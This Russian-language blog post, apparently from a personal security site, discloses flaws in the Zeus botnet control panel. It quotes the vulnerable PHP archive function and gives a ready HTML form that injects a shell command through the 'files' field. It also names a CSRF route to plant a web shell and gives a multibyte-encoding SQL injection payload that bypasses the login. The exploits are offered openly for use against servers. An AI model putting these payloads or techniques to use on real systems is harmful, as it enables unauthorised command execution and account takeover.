• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости панели управления ботнетом Zeus

    //Было опубликовано на DarkLife и в разделе Research Team forum.hackzona.ru

    Кстати! Первая уязвимость (blind code execution) была найдена при помощи Automatic Code Analising Tool

    Ковырялся в зевсе, дельного ничего не нашёл, но сразу наткнулся на файл /web/system/fsarc.php, посмотрел, где используется функция из него и получил исполнение кода в админке (вроде бы ещё magic_quotes_gpc=Off нужно + нужно, чтоб функция exec() не была в disable_functions).

    Итак, код функции arc_Create из fsarc.php:

    function arc_Create($archive, $files)
    {
      error_reporting(E_ALL);
      if(strcasecmp(substr(php_uname('s'), 0, 7), 'windows') === 0)
      {
        $archive = str_replace('/', '\\', $archive);
        foreach($files as $k => $v)$files[$k] = str_replace('/', '\\', $v);
      }
      
      $archive .= '.zip';
      $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';
      exec($cli, $e, $r);
      
      if($r != 0)echo "(error: $r) ".$cli.'
    '; return $r ? false : $archive; }

    Вызывается она лишь в /web/system/reports_files.php:

    Юзаем, авторизованными в админке так:
    <form method="post" action="HTTP://ZEUS.COM/web/cp.php?m=reports_files&amp;path=">
    <input type="hidden" name="filesaction" value="1">
    <input type="text" name="files[0]" value='"; evil code #'>
    <input type="submit" value="ok"></form>
    На выходе имеем примерно такую команду: zip -r -9 -q -S "/PATH/zeustest/web/tmp/arcPdRbao.zip" "_reports/"; evil code #"

    Соответственно, magic_quotes_gpc=Off нужно, чтобы можно было закрыть кавычку, а вторую кавычку мы закомментировали.

    P.S. Наверное ценность этой баги стремится к нулю, но мб кому-то нужно будет похекать серв, имея админку зеуса.

    Теоретически можно впарить админу автосубмитящуюся форму с кодом на заливку шелла, поскольку там CSRF..)

    ==========

    Конечно очень тупо, но на самом деле можно обойти авторизацию при некоторых обстоятельствах)

    Применима бага лишь только если китайцы или ещё кто юзают свои кодировки вместо юникода. Я этого не знаю...

    А именно - должна использоваться мультибайтовая кодировка типа BIG5, GBK или SJIS.

    Это отражается в файле /web/system/global.php:

    define('MYSQL_CODEPAGE', 'utf8'); //здесь должна быть другая кодировка define('MYSQL_COLLATE', 'utf8_unicode_ci');

    Тогда можно авторизоваться в обход защиты в cp.php:

    Эксплойт: пишем в name %b3%27+or+1=1--.

    © BECHED